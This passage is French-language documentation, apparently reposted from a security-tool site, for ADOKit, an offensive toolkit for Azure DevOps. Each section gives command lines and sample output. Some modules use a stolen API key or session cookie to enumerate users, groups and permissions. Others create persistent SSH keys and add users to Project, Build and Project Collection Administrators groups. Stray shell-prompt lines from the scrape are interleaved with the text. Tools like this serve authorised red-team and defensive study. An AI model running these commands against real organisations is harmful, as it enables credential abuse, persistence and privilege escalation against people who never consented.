Fournissez le module createsshkey, ainsi que toute information d'authentification et URL pertinente. De plus, fournissez votre clé publique SSH dans l'argument /sshkey:. Cela affichera l'ID de la clé SSH, le nom, la portée, la date de validité et les 20 derniers caractères de la clé publique SSH pour la clé SSH créée. Le nom de la clé SSH créée sera ADOKit- suivi d'une chaîne aléatoire de 8 caractères. La date de validité de la clé SSH sera d'un an à compter de la date de création, car c'est le maximum autorisé par Azure DevOps.

ADOKit.exe createsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /sshkey:"ssh-rsa ABC123"

Exemple de sortie```

C:>ADOKit.exe createsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /sshkey:"ssh-rsa ABC123"

================================================== Module: createsshkey Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/3/2023 2:51:22 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                          SSH Key ID |                           Name |                          Scope |                    Valid Until |            Public SSH Key

root@kitploit:~
fbde9f3e-bbe3-4442-befb-c2ddeab75c58 |                       ADOKit-iCBfYfFR |                      app_token |           4/3/2024 12:00:00 AM |   ...hOLNYMk5LkbLRMG36RE=

4/3/23 18:51:24 Finished execution of createsshkey

root@kitploit:~
### Lister les clés SSH

#### Cas d'utilisation

> *Liste toutes les clés SSH publiques pour un utilisateur donné dans une instance Azure DevOps.*

#### Syntaxe

Fournissez le module `listsshkey`, ainsi que les informations d'authentification pertinentes et l'URL. Cela affichera l'ID de la clé SSH, le nom, la portée et la date de validité pour toutes les clés SSH actives de l'utilisateur. De plus, il imprimera les 20 derniers caractères de la clé SSH publique.

`ADOKit.exe listsshkey /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Exemple de sortie```
C:\>ADOKit.exe listsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listsshkey
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/3/2023 11:37:10 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                              SSH Key ID |                           Name |                          Scope |                    Valid Until |            Public SSH Key
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
    ec056907-9370-4aab-b78c-d642d551eb98 |                   test-ssh-key |                      app_token |            4/3/2024 3:13:58 PM |   ...nDoYAPisc/pEFArVVV0=

4/3/23 15:37:11 Finished execution of listsshkey

Supprimer une clé SSH

Cas d'utilisation

Supprimer une clé SSH pour un utilisateur donné dans une instance Azure DevOps.

Syntaxe

Fournissez le module removesshkey, ainsi que les informations d'authentification et l'URL pertinentes. De plus, fournissez l'ID de la clé SSH dans l'argument /id:. Cela indiquera si la clé SSH a été supprimée ou non, puis listera les clés SSH actives actuelles pour l'utilisateur après la suppression.

ADOKit.exe removesshkey /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...

ADOKit.exe removesshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...

Exemple de sortie```

C:>ADOKit.exe removesshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:a199c036-d7ed-4848-aae8-2397470aff97

================================================== Module: removesshkey Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/3/2023 1:50:08 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[+] SUCCESS: SSH key with ID a199c036-d7ed-4848-aae8-2397470aff97 was removed successfully.

root@kitploit:~
                          SSH Key ID |                           Name |                          Scope |                    Valid Until |            Public SSH Key

root@kitploit:~
ec056907-9370-4aab-b78c-d642d551eb98 |                   test-ssh-key |                      app_token |            4/3/2024 3:13:58 PM |   ...nDoYAPisc/pEFArVVV0=

4/3/23 17:50:09 Finished execution of removesshkey

root@kitploit:~
### Liste des Utilisateurs

#### Cas d'Utilisation

> *Lister les utilisateurs d'une instance Azure DevOps*

#### Syntaxe

Fournissez le module `listuser`, ainsi que les informations d'authentification et l'URL appropriées. Cela affichera le nom d'utilisateur, le nom d'affichage et le nom principal de l'utilisateur.

`ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Exemple de Sortie```
C:\>ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listuser
Auth Type:      API Key
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/3/2023 4:12:07 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                          Username |                                       Display Name |                                                UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
                                             user1 |                                             User 1 |             [email protected]
                                          jsmith |                                        John Smith |          [email protected]
                                           rsmith |                                       Ron Smith |           [email protected]
                                             user2 |                                             User 2 |             [email protected]

4/3/23 20:12:08 Finished execution of listuser

Rechercher un utilisateur

Cas d'utilisation

Rechercher un ou plusieurs utilisateurs donnés dans une instance Azure DevOps

Syntaxe

Fournissez le module searchuser et vos critères de recherche dans l'argument de ligne de commande /search:, ainsi que toute information d'authentification pertinente et l'URL. Cela affichera le nom d'utilisateur, le nom d'affichage et le nom principal de l'utilisateur correspondants.

ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/organizationName /search:user

ADOKit.exe searchuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:user

Exemple de sortie```

C:>ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"user"

================================================== Module: searchuser Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/3/2023 4:12:23 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                      Username |                                       Display Name |                                                UPN

root@kitploit:~
                                         user1 |                                             User 1 |             [email protected]
                                         user2 |                                             User 2 |             [email protected]

4/3/23 20:12:24 Finished execution of searchuser

root@kitploit:~
### Lister les équipes

#### Cas d'utilisation

> *Lister les équipes dans une instance Azure DevOps*

#### Syntaxe

Fournissez le module `listteam`, ainsi que les informations d'authentification et l'URL pertinentes. Cela affichera le nom de l'équipe, le nom du projet et la description de l'équipe.

`ADOKit.exe listteam /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listteam /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Exemple de sortie```
C:\>ADOKit.exe listteam /credential:apiKey /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listteam
Auth Type:      API Key
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      5/31/2024 9:48:26 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                         Team Name |                        Project |                                        Description
----------------------------------------------------------------------------------------------------------------------------------------
                     ProjectWithMultipleRepos Team |       ProjectWithMultipleRepos |                          The default project team.
                                 MaraudersMap Team |                   MaraudersMap |                          The default project team.
                                 TestProject2 Team |                   TestProject2 |                          The default project team.
                                  TestProject Team |                    TestProject |                          The default project team.

Rechercher une équipe

Cas d'utilisation

Rechercher une ou plusieurs équipes spécifiées dans une instance Azure DevOps

Syntaxe

Fournissez le module searchteam et vos critères de recherche dans l'argument de ligne de commande /search:, ainsi que les informations d'authentification et l'URL appropriées. Cela affichera le nom de l'équipe, le nom du projet et la description de l'équipe.

ADOKit.exe searchteam /credential:apiKey /url:https://dev.azure.com/organizationName /search:someTeam

ADOKit.exe searchteam /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:someTeam

Exemple de sortie```

C:>ADOKit.exe searchteam /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:test

================================================== Module: searchteam Auth Type: API Key Search Term: test Target URL: https://dev.azure.com/YourOrganization

Timestamp: 5/31/2024 9:48:32 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                     Team Name |                        Project |                                        Description

root@kitploit:~
                             TestProject2 Team |                   TestProject2 |                          The default project team.
                              TestProject Team |                    TestProject |                          The default project team.
root@kitploit:~
### Get Team Members

#### Cas d'utilisation

> *Obtenir les membres d'une équipe donnée*

#### Syntaxe

Fournissez le module `getteammembers` et vos critères de recherche dans l'argument de ligne de commande `/search:`, ainsi que toute information d'authentification pertinente et l'URL. Cela affichera le nom de l'équipe, le nom d'utilisateur du membre et le nom d'affichage du membre.

`ADOKit.exe getteammembers /credential:apiKey /url:https://dev.azure.com/organizationName /search:someTeam`

`ADOKit.exe getteammembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:someTeam`

#### Exemple de sortie```
C:\source\ADOKit-main\ADOKit\bin\Release>ADOKit.exe getteammembers /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"dev team"

==================================================
Module:         getteammembers
Auth Type:      API Key
Search Term:    dev team
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      5/31/2024 10:45:11 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                         Team Name |                                     Username |                                  User Display Name
-------------------------------------------------------------------------------------------------------------------------------------------------------
                                          Dev Team |             [email protected] |                                             User 1
                                          Dev Team |             [email protected] |                                              user3
                                          Dev Team |             [email protected] |                                              user4

List Groups

Use Case

Lister les groupes dans une instance Azure DevOps

Syntaxe

Fournissez le module listgroup, ainsi que les informations d'authentification et l'URL appropriées. Cela affichera le nom d'utilisateur principal, le nom d'affichage et la description du groupe.

ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/organizationName

ADOKit.exe listgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName

Exemple de sortie```

C:>ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization

================================================== Module: listgroup Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/3/2023 4:48:45 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                           UPN |                                       Display Name |                                        Description

root@kitploit:~
                    [TestProject]\Contributors |                                       Contributors | Members of this group can add, modify, and delete items within the team project.
           [TestProject2]\Build Administrators |                               Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[YourOrganization]\Project-Scoped Users |                               Project-Scoped Users | Members of this group will have limited visibility to  organization-level data

[ProjectWithMultipleRepos]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds. [MaraudersMap]\Readers | Readers | Members of this group have access to the team project. [YourOrganization]\Project Collection Test Service Accounts | Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection. [MaraudersMap]\MaraudersMap Team | MaraudersMap Team | The default project team. [TEAM FOUNDATION]\Enterprise Service Accounts | Enterprise Service Accounts | Members of this group have service-level permissions in this enterprise. For service accounts only. [YourOrganization]\Security Service Group | Security Service Group | Identities which are granted explicit permission to a resource will be automatically added to this group if they were not previously a member of any other group. [TestProject]\Release Administrators | Release Administrators | Members of this group can perform all operations on Release Management

---SNIP---

4/3/23 20:48:46 Finished execution of listgroup

root@kitploit:~
### Recherche de groupes

#### Cas d'utilisation

> *Rechercher un ou plusieurs groupes dans une instance Azure DevOps*

#### Syntaxe

Fournissez le module `searchgroup` et vos critères de recherche dans l'argument de ligne de commande `/search:`, ainsi que les informations d'authentification et l'URL pertinentes. Cela affichera le nom d'utilisateur principal, le nom d'affichage et la description du groupe correspondant.

`ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/organizationName /search:"someGroup"`

`ADOKit.exe searchgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:"someGroup"`

#### Exemple de sortie```
C:\>ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"admin"

==================================================
Module:         searchgroup
Auth Type:      API Key
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/3/2023 4:48:41 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                                                   UPN |                   Display Name |                                        Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
                                   [TestProject2]\Build Administrators |           Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
                       [ProjectWithMultipleRepos]\Build Administrators |           Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
                                  [TestProject]\Release Administrators |         Release Administrators | Members of this group can perform all operations on Release Management
                                    [TestProject]\Build Administrators |           Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
                                 [MaraudersMap]\Project Administrators |         Project Administrators | Members of this group can perform all operations in the team project.
                                 [TestProject2]\Project Administrators |         Project Administrators | Members of this group can perform all operations in the team project.
           [YourOrganization]\Project Collection Administrators | Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.
                     [ProjectWithMultipleRepos]\Project Administrators |         Project Administrators | Members of this group can perform all operations in the team project.
                                   [MaraudersMap]\Build Administrators |           Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
     [YourOrganization]\Project Collection Build Administrators | Project Collection Build Administrators | Members of this group should include accounts for people who should be able to administer the build resources.
                                  [TestProject]\Project Administrators |         Project Administrators | Members of this group can perform all operations in the team project.

4/3/23 20:48:42 Finished execution of searchgroup

Obtenir les membres d'un groupe

Cas d'utilisation

Lister tous les membres d'un groupe donné

Syntaxe

Fournissez le module getgroupmembers et le(s) groupe(s) que vous souhaitez rechercher dans l'argument de ligne de commande /group:, ainsi que les informations d'authentification et l'URL appropriées. Cela affichera le user principal name du groupe correspondant, ainsi que chaque membre de ce groupe, y compris l'adresse e-mail et le nom d'affichage de l'utilisateur.

ADOKit.exe getgroupmembers /credential:apiKey /url:https://dev.azure.com/organizationName /group:"someGroup"

ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /group:"someGroup"

Exemple de sortie```

C:>ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /group:"admin"

================================================== Module: getgroupmembers Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 9:11:03 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
                               [TestProject2]\Build Administrators |             [email protected] |                                             User 1
                               [TestProject2]\Build Administrators |             [email protected] |                                             User 2
                             [MaraudersMap]\Project Administrators | [email protected] |                                      Brett Hawkins
                             [MaraudersMap]\Project Administrators |           [email protected] |                                       Ron Smith
                             [TestProject2]\Project Administrators |             [email protected] |                                             User 1
                             [TestProject2]\Project Administrators |             [email protected] |                                             User 2
       [YourOrganization]\Project Collection Administrators |          [email protected] |                                        John Smith
                 [ProjectWithMultipleRepos]\Project Administrators | [email protected] |                                      Brett Hawkins
                               [MaraudersMap]\Build Administrators | [email protected] |                                      Brett Hawkins

4/4/23 13:11:09 Finished execution of getgroupmembers

root@kitploit:~
### Obtenir les autorisations du projet

#### Cas d'utilisation

> *Obtenir la liste des personnes ayant des autorisations sur un projet donné.*

#### Syntaxe

Fournissez le module `getpermissions` et le projet que vous souhaitez rechercher dans l'argument de ligne de commande `/project:`, ainsi que les informations d'authentification et l'URL pertinentes. Cela affichera le nom d'utilisateur principal, le nom d'affichage et la description du groupe correspondant. De plus, cela affichera les membres du groupe pour chacun de ces groupes.

`ADOKit.exe getpermissions /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someproject"`

`ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someproject"`

#### Exemple de sortie```
C:\>ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"

==================================================
Module:         getpermissions
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 9:11:16 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                               UPN |                                       Display Name |                                        Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
               [MaraudersMap]\Build Administrators |                               Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
                       [MaraudersMap]\Contributors |                                       Contributors | Members of this group can add, modify, and delete items within the team project.
                  [MaraudersMap]\MaraudersMap Team |                                  MaraudersMap Team |                          The default project team.
             [MaraudersMap]\Project Administrators |                             Project Administrators | Members of this group can perform all operations in the team project.
                [MaraudersMap]\Project Valid Users |                                Project Valid Users | Members of this group have access to the team project.
                            [MaraudersMap]\Readers |                                            Readers | Members of this group have access to the team project.


[*] INFO: Listing group members for each group that has permissions to this project



GROUP NAME: [MaraudersMap]\Build Administrators

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------


GROUP NAME: [MaraudersMap]\Contributors

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
                                           [MaraudersMap]\Contributors |             [email protected] |                                             User 1
                                           [MaraudersMap]\Contributors |             [email protected] |                                             User 2


GROUP NAME: [MaraudersMap]\MaraudersMap Team

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
                                      [MaraudersMap]\MaraudersMap Team | [email protected] |                                      Brett Hawkins


GROUP NAME: [MaraudersMap]\Project Administrators

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
                                 [MaraudersMap]\Project Administrators | [email protected] |                                      Brett Hawkins


GROUP NAME: [MaraudersMap]\Project Valid Users

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------


GROUP NAME: [MaraudersMap]\Readers

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
                                                [MaraudersMap]\Readers |          [email protected] |                                        John Smith

4/4/23 13:11:18 Finished execution of getpermissions

Ajouter un administrateur de projet

Cas d'utilisation

Ajouter un utilisateur au groupe Administrateurs de projet pour un projet donné.

Syntaxe

Fournissez le module addprojectadmin avec un /project: et /user: pour qu'un utilisateur soit ajouté au groupe Project Administrators pour le projet donné. En outre, fournissez les informations d'authentification pertinentes et l'URL. Consultez Tableau des détails des modules pour les autorisations nécessaires à cette action.

ADOKit.exe addprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"

ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"

Exemple de sortie```

C:>ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"

================================================== Module: addprojectadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 2:52:45 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Project Administrators group for the maraudersmap project.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
                             [MaraudersMap]\Project Administrators | [email protected] |                                      Brett Hawkins
                             [MaraudersMap]\Project Administrators |             [email protected] |                                             User 1

4/4/23 18:52:47 Finished execution of addprojectadmin

root@kitploit:~
### Supprimer l'administrateur de projet

#### Cas d'utilisation

> *Supprimer un utilisateur du groupe `Project Administrators` pour un projet donné.*

#### Syntaxe

Fournissez le module `removeprojectadmin` avec `/project:` et `/user:` pour qu'un utilisateur donné soit retiré du groupe `Project Administrators` pour le projet donné. En outre, fournissez également les informations d'authentification et l'URL appropriées. Consultez la [Table des détails du module](#module-details-table) pour connaître les autorisations nécessaires pour effectuer cette action.

`ADOKit.exe removeprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`

`ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`

#### Exemple de sortie```
C:\>ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"

==================================================
Module:         removeprojectadmin
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 3:19:43 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Project Administrators group for the maraudersmap project.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
                                 [MaraudersMap]\Project Administrators | [email protected] |                                      Brett Hawkins

4/4/23 19:19:44 Finished execution of removeprojectadmin

Ajouter un administrateur de build

Cas d'utilisation

Ajouter un utilisateur au groupe Build Administrators pour un projet donné.

Syntaxe

Fournissez le module addbuildadmin avec /project: et /user: pour qu'un utilisateur donné soit ajouté au groupe Build Administrators pour le projet donné. Fournissez également les informations d'authentification pertinentes et l'URL. Consultez le Tableau des détails du module pour les autorisations nécessaires à cette action.

ADOKit.exe addbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"

ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"

Exemple de sortie```

C:>ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"

================================================== Module: addbuildadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 3:41:51 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Build Administrators group for the maraudersmap project.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
                               [MaraudersMap]\Build Administrators |             [email protected] |                                             User 1

4/4/23 19:41:55 Finished execution of addbuildadmin

root@kitploit:~
### Supprimer l'administrateur de build

#### Cas d'utilisation

> *Supprimer un utilisateur du groupe Build Administrators pour un projet donné.*

#### Syntaxe

Fournissez le module `removebuildadmin` avec un `/project:` et `/user:` pour qu'un utilisateur donné soit supprimé du groupe `Build Administrators` pour le projet donné. De plus, fournissez les informations d'authentification et l'URL pertinentes. Consultez la [Table des détails des modules](#module-details-table) pour connaître les autorisations nécessaires pour effectuer cette action.

`ADOKit.exe removebuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`

`ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`

#### Exemple de sortie```
C:\>ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"

==================================================
Module:         removebuildadmin
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 3:42:10 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Build Administrators group for the maraudersmap project.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

4/4/23 19:42:11 Finished execution of removebuildadmin

Ajouter un administrateur de collection

Cas d'utilisation

Ajouter un utilisateur au groupe Administrateurs de la collection de projets.

Syntaxe

Fournissez le module addcollectionadmin avec /user: pour qu'un utilisateur donné soit ajouté au groupe Project Collection Administrators. De plus, fournissez toutes les informations d'authentification et l'URL pertinentes. Consultez le Tableau des détails des modules pour les autorisations nécessaires à cette action.

ADOKit.exe addcollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"

ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"

Exemple de sortie```

C:>ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

================================================== Module: addcollectionadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 4:04:40 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Project Collection Administrators group.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
       [YourOrganization]\Project Collection Administrators |          [email protected] |                                        John Smith
       [YourOrganization]\Project Collection Administrators |             [email protected] |                                             User 1

4/4/23 20:04:43 Finished execution of addcollectionadmin

root@kitploit:~
### Supprimer l'administrateur de collection

#### Cas d'utilisation

> *Supprimer un utilisateur du groupe Administrateurs de la collection de projets.*

#### Syntaxe

Fournissez le module `removecollectionadmin` avec un `/user:` pour un utilisateur donné à supprimer du groupe `Project Collection Administrators`. De plus, fournissez les informations d'authentification pertinentes et l'URL. Consultez [Tableau des détails des modules](#module-details-table) pour les autorisations nécessaires à cette action.

`ADOKit.exe removecollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`

`ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`

#### Exemple de sortie```
C:\>ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

==================================================
Module:         removecollectionadmin
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 4:10:35 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Project Collection Administrators group.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
           [YourOrganization]\Project Collection Administrators |          [email protected] |                                        John Smith

4/4/23 20:10:38 Finished execution of removecollectionadmin

Ajouter un administrateur de collection de build

Cas d'utilisation

Ajouter un utilisateur au groupe Administrateurs de collection de build d'un projet.

Syntaxe

Fournissez le module addcollectionbuildadmin avec un paramètre /user: pour un utilisateur donné à ajouter au groupe Project Collection Build Administrators. Fournissez également toutes les informations d'authentification et l'URL pertinentes. Consultez le Tableau des détails des modules pour les autorisations nécessaires à cette action.

ADOKit.exe addcollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"

ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"

Exemple de sortie```

C:>ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

================================================== Module: addcollectionbuildadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/5/2023 8:21:39 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Project Collection Build Administrators group.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
 [YourOrganization]\Project Collection Build Administrators |             [email protected] |                                             User 1

4/5/23 12:21:42 Finished execution of addcollectionbuildadmin

root@kitploit:~
### Supprimer l'administrateur de collection de builds

#### Cas d'utilisation

> *Supprimer un utilisateur du groupe Administrateurs de collection de builds de projet.*

#### Syntaxe

Fournissez le module `removecollectionbuildadmin` avec un `/user:` pour un utilisateur donné à supprimer du groupe `Administrateurs de collection de builds de projet`. Fournissez également les informations d'authentification et l'URL appropriées. Consultez [Tableau des détails du module](#module-details-table) pour les autorisations nécessaires à cette action.

`ADOKit.exe removecollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`

`ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`

#### Exemple de sortie```
C:\>ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

==================================================
Module:         removecollectionbuildadmin
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/5/2023 8:21:59 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Project Collection Build Administrators group.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

4/5/23 12:22:02 Finished execution of removecollectionbuildadmin

Ajouter un compte de service de build de collection

Cas d'utilisation

Ajouter un utilisateur au groupe Project Collection Build Service Accounts.

Syntaxe

Fournissez le module addcollectionbuildsvc ainsi qu'un /user: pour un utilisateur donné à ajouter au groupe Project Collection Build Service Accounts. De plus, fournissez toutes les informations d'authentification pertinentes et l'URL. Voir Tableau des détails du module pour les autorisations nécessaires pour effectuer cette action.

ADOKit.exe addcollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"

ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"

